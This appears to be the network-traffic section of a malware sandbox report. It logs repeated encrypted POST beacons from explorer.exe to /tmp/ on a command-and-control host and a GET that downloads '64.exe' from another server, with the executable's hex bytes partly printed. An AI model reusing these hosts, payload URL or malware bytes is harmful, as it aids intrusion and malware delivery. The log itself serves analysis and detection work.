Feb 16, 2023 13:58:01.641001940 CET	4831	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tktfxfv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 226 Host: perficut.at
Feb 16, 2023 13:58:01.641937971 CET	4832	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 4f 2d ff 8b Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuO-x}p2@+}\YdwL*}C/Fq,6_'T>:~T"ie^RT/`EE7
Feb 16, 2023 13:58:02.204796076 CET	4832	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49709	185.95.186.58	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:04.049453020 CET	4833	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cxtkcijc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: perficut.at
Feb 16, 2023 13:58:04.049499989 CET	4834	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 40 0a a8 81 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu@i^MLj^Nth:vZ<e}R&)A%C1G"66q)19D]FPnTCRK5$mv@~WGz
Feb 16, 2023 13:58:04.351016045 CET	4834	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49710	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:05.130599976 CET	4835	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://waysck.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 208 Host: perficut.at
Feb 16, 2023 13:58:05.130659103 CET	4836	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 59 46 be bf Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuYFtOPL2]KI1>gWN,3%I}RQ]Nq_B (qn@W^.**
Feb 16, 2023 13:58:06.439765930 CET	4836	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49711	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:06.742602110 CET	4837	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rryrnc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 291 Host: perficut.at
Feb 16, 2023 13:58:06.742655039 CET	4838	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 21 15 df aa Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu!WcI[&Sd'$n}UO]HVO&G;S\|[$H-gr97-a&RL}&OcZbj+F*lWVPp
Feb 16, 2023 13:58:08.013396978 CET	4838	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:07 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49712	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:08.331552029 CET	4839	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sxbexvemhb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 150 Host: perficut.at
Feb 16, 2023 13:58:08.331552029 CET	4840	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 3f 45 a4 f4 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu?E2XxYo!P[o+wy`E}>{%4%U%DSD>v
Feb 16, 2023 13:58:09.300143003 CET	4840	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49713	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:09.632986069 CET	4841	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ymquehcf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 173 Host: perficut.at
Feb 16, 2023 13:58:09.633019924 CET	4841	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 6c 3c fa 9d Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vul<[Ar0GK7)%qu6fG/LLQ<BXb $f3x24:/
Feb 16, 2023 13:58:10.922633886 CET	4842	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:58:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 50 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 71 5a 3c 11 a0 6f 5b b5 eb 55 e5 cf b3 e4 36 91 3d c1 b5 2b 5c 5b 9f 9f c0 98 30 9a 3b 0d 16 Data Ascii: #\qZ<o[U6=+\[0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49686	2.180.10.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:16.299576998 CET	107	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nqowrenk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: perficut.at
Feb 16, 2023 13:57:16.299607038 CET	107	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 20 07 c8 99 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu rNpDpUIz`hG}kE
Feb 16, 2023 13:57:17.526078939 CET	107	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 43 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2b 58 24 17 a4 6e 44 aa aa 13 bd cf b1 f9 6d 80 21 c1 ec 2a 14 10 94 8f Data Ascii: #\+X$nDm!*

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49714	91.227.16.11	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:58:11.084640980 CET	4843	OUT	GET /64.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: h167471.srv11.test-hf.su
Feb 16, 2023 13:58:11.152817965 CET	4844	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 16 Feb 2023 12:58:11 GMT Content-Type: application/octet-stream Content-Length: 459264 Connection: keep-alive Keep-Alive: timeout=20 Last-Modified: Thu, 16 Feb 2023 07:11:07 GMT ETag: "70200-5f4cbe68c35fb" Accept-Ranges: bytes X-Power-Supply-By: 220 Volt Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 7d cf 7a f5 1c a1 29 f5 1c a1 29 f5 1c a1 29 ce 42 a2 28 e6 1c a1 29 ce 42 a4 28 90 1c a1 29 ce 42 a5 28 e7 1c a1 29 41 80 50 29 e3 1c a1 29 41 80 52 29 8f 1c a1 29 41 80 53 29 ea 1c a1 29 28 e3 6a 29 f6 1c a1 29 f5 1c a0 29 79 1c a1 29 f5 1c a1 29 fd 1c a1 29 62 42 a3 28 f4 1c a1 29 52 69 63 68 f5 1c a1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b6 75 eb 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 32 03 00 00 e2 03 00 00 00 00 00 69 82 00 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 60 05 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 00 94 36 00 00 10 1d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1d 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 96 02 00 00 10 00 00 00 98 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 60 98 00 00 00 b0 02 00 00 9a 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 18 1b 02 00 00 50 03 00 00 1c 02 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 66 01 00 00 70 05 00 00 52 01 00 00 52 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 64 0a 00 00 00 e0 06 00 00 0c 00 00 00 a4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 65 62 75 67 5f 6f 50 19 00 00 00 f0 06 00 00 1a 00 00 00 b0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 65 6c 6f 63 00 00 94 36 00 00 00 10 07 00 00 38 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}z)))B()B()B()AP))AR))AS))(j)))y)))bB()Rich)PELuc2iP@P@`(60@P.text` `.text` .rdataP6@@.dataXfpRR@.gfidsd@@.debug_oP@B.reloc68@B
Feb 16, 2023 13:58:11.152856112 CET	4845	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 0f 1e fb 56 57 53 55 81 ec 1c 04 00 00 8b 3d a8 c7 46 00 8b d7 a1 04 aa 46 00 8b Data Ascii: VWSU=FF5F3$$4$8##++3t'SSjjj:jSSj$j@Zjj9##3AD$$t$\|$N
Feb 16, 2023 13:58:11.152880907 CET	4847	IN	Data Raw: d9 8b d3 81 ca 00 20 00 00 f7 c5 02 00 00 00 75 02 8b d3 c1 e8 0b 0b d0 89 14 24 b8 07 00 00 00 33 c9 0f a2 8b f3 81 e6 00 00 00 20 c1 ee 1a 89 74 24 14 8b 34 24 81 ce 00 00 02 00 f7 c5 00 00 00 40 89 54 24 08 89 4c 24 0c 75 03 8b 34 24 8b eb 8b Data Ascii: u$3 t$4$@T$L$u4$\|$tt$\$ u@u uD=D$ =@
Feb 16, 2023 13:58:11.152908087 CET	4848	IN	Data Raw: 00 81 c4 88 00 00 00 5d 5f 5e c3 e8 8a 0b 00 00 e9 f7 fe ff ff 80 7c 35 ff 0a 75 94 52 55 68 c0 c9 46 00 e8 e2 03 02 00 83 c4 0c c6 86 be c9 46 00 00 bd c0 c9 46 00 e9 74 ff ff ff e8 43 6a 00 00 e8 54 0b 00 00 e9 7c ff ff ff 8b 8c 24 84 00 00 00 Data Ascii: ]_^\|5uRUhFFFtCjT\|$$3;Fu]_^&VWSUF$3$$uP=`FhFhD$$3;Fh
Feb 16, 2023 13:58:11.152931929 CET	4849	IN	Data Raw: ce 46 00 0c ed 44 00 c7 05 ac ce 46 00 14 ed 44 00 c7 05 b0 ce 46 00 1c ed 44 00 c7 05 b4 ce 46 00 20 ed 44 00 c7 05 b8 ce 46 00 28 ed 44 00 c7 05 bc ce 46 00 2c ed 44 00 c7 05 c0 ce 46 00 38 ed 44 00 c7 05 c4 ce 46 00 01 00 00 00 e9 bf fd ff ff Data Ascii: FDFDFDF DF(DF,DF8DFUVWS}F3$t Et2tEt'Wt}EtSD$hjPfmD$D$,@uu
Feb 16, 2023 13:58:11.152956009 CET	4851	IN	Data Raw: 00 3b c1 74 22 83 f8 40 77 06 b8 ff ff ff ff c3 8d 4c 24 0c 51 33 c9 51 52 50 51 6a 04 ff 15 64 cf 46 00 83 c4 18 c3 a1 40 cf 46 00 eb d7 a1 20 cf 46 00 eb d0 a1 00 cf 46 00 eb c9 8b f6 f3 0f 1e fb 33 d2 8d 44 24 0c 50 52 ff 74 24 10 6a ff ff 74 Data Ascii: ;t"@wL$Q3QRPQjdF@F FF3D$PRt$jt$RjhF'3D$PRt$t$t$RjhFt&'3t$Pt$jt$PjhF&'3t$Pt$t$t$PjhF
Feb 16, 2023 13:58:11.152981997 CET	4852	IN	Data Raw: ef 44 00 50 52 ff 15 80 50 43 00 85 c0 74 07 a3 70 cf 46 00 eb 0a c7 05 70 cf 46 00 f0 29 40 00 6a 00 ff 15 74 cf 46 00 a3 00 cf 46 00 6a 01 ff 15 74 cf 46 00 a3 20 cf 46 00 6a 02 ff 15 74 cf 46 00 83 c4 0c 46 a3 40 cf 46 00 83 7c 24 04 00 0f 84 Data Ascii: DPRPCtpFpF)@jtFFjtF FjtFF@F\|$[3PPSQCT$0F3)@3BhFpFrFhF4PC$$3;FS3 ][_^hFPC
Feb 16, 2023 13:58:11.153007984 CET	4853	IN	Data Raw: 04 ca d8 c9 85 c0 7e 06 dc 04 c2 48 eb f4 dd d9 dc 02 de f9 5d c3 e8 03 02 00 00 dd 05 28 8a 44 00 5d c3 8b ff 55 8b ec 8d 41 04 8b d0 2b d1 83 c2 03 56 33 f6 c1 ea 02 3b c1 1b c0 f7 d0 23 c2 74 0d 8b 55 08 46 89 11 8d 49 04 3b f0 75 f6 5e 5d c2 Data Ascii: ~H](D]UA+V3;#tUFI;u^]U(F3E}WtuUYjPjP^h0jP^0ffff
